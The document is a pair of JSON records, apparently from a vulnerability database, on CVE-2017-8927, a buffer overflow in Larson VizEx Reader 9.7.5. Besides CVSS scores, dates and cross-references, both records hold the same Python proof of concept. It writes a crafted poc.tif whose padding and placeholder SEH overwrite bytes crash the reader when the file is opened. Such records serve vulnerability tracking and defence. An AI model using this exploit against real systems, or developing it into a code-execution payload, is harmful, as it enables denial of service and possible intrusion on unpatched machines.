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{"id": "1337DAY-ID-27772", "type": "zdt", "bulletinFamily": "exploit", "title": "Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) Exploit", "description": "Exploit for windows platform in category dos / poc", "published": "2017-05-15T00:00:00", "modified": "2017-05-15T00:00:00", "cvss": {"vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/", "score": 6.8}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/27772", "reporter": "Muhann4d", "references": [], "cvelist": ["CVE-2017-8927"], "immutableFields": [], "lastseen": "2018-02-15T21:24:25", "viewCount": 33, "enchantments": {"score": {"value": 0.3, "vector": "NONE"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2017-8927"]}, {"type": "exploitdb", "idList": ["EDB-ID:42002"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:32AED3792BA27277D844109F52A47877"]}]}, "backreferences": {"references": [{"type": "cve", "idList": ["CVE-2017-8927"]}, {"type": "exploitdb", "idList": ["EDB-ID:42002"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:32AED3792BA27277D844109F52A47877"]}, {"type": "threatpost", "idList": ["THREATPOST:5D5241707AB76ED799696E37D048872A", "THREATPOST:7876640D5EC3E8FE3FE885606BBB1C6D"]}]}, "exploitation": null, "vulnersScore": 0.3}, "sourceHref": "https://0day.today/exploit/27772", "sourceData": "#!/usr/bin/python\r\n# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)\r\n# Date : 14/05/2017\r\n# Exploit Author : Muhann4d\r\n# CVE : CVE-2017-8927\r\n# Vendor Homepage : http://www.cgmlarson.com/\r\n# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html\r\n# Affected Versions : 9.7.5 \r\n# Category : Denial of Service (DoS) Local\r\n# Tested on OS : Windows 7 Professional SP1 32bit\r\n# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5\r\n \r\n# Vendor has been cantacted but no reply\r\n \r\nbuf = \"\\x41\" * 800\r\nbuff = \"\\x42\" * 4\r\nbufff = \"\\x43\" * 4\r\nbuffff = \"\\x44\" * 9999\r\nf = open (\"poc.tif\", \"w\")\r\nf.write(buf + buff + bufff + buffff)\r\nf.close()\n\n# 0day.today [2018-02-15] #", "_state": {"dependencies": 1659982322, "score": 1659982568}, "_internal": {"score_hash": "93c4542fc2ba5a91953e6f29272f0c2d"}}

{"cve": [{"lastseen": "2022-03-23T18:53:10", "description": "Buffer overflow in Larson VizEx Reader 9.7.5 allows attackers to cause a denial of service or possibly have unspecified other impact via a crafted .tif file.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2017-05-15T18:29:00", "type": "cve", "title": "CVE-2017-8927", "cwe": ["CWE-119"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-8927"], "modified": "2021-04-01T18:54:00", "cpe": ["cpe:/a:cgmlarson:vizex_reader:9.7.5"], "id": "CVE-2017-8927", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-8927", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:a:cgmlarson:vizex_reader:9.7.5:*:*:*:*:*:*:*"]}], "exploitpack": [{"lastseen": "2020-04-01T19:04:25", "description": "\nLarson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)", "edition": 2, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2017-05-14T00:00:00", "title": "Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)", "type": "exploitpack", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-8927"], "modified": "2017-05-14T00:00:00", "id": "EXPLOITPACK:32AED3792BA27277D844109F52A47877", "href": "", "sourceData": "#!/usr/bin/python\n# Exploit Title : Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH)\n# Date : 14/05/2017\n# Exploit Author : Muhann4d\n# CVE\t\t\t\t: CVE-2017-8927\n# Vendor Homepage : http://www.cgmlarson.com/\n# Software Link : http://download.freedownloadmanager.org/Windows-PC/Larson-VizEx-Reader/FREE-9.7.5.html\n# Affected Versions : 9.7.5 \n# Category : Denial of Service (DoS) Local\n# Tested on OS : Windows 7 Professional SP1 32bit\n# Proof of Concept : run the exploit, open the poc.tif file with Larson VizEx Reader 9.7.5\n\n# Vendor has been cantacted but no reply\n\nbuf = \"\\x41\" * 800\nbuff = \"\\x42\" * 4\nbufff = \"\\x43\" * 4\nbuffff = \"\\x44\" * 9999\nf = open (\"poc.tif\", \"w\")\nf.write(buf + buff + bufff + buffff)\nf.close()", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}]}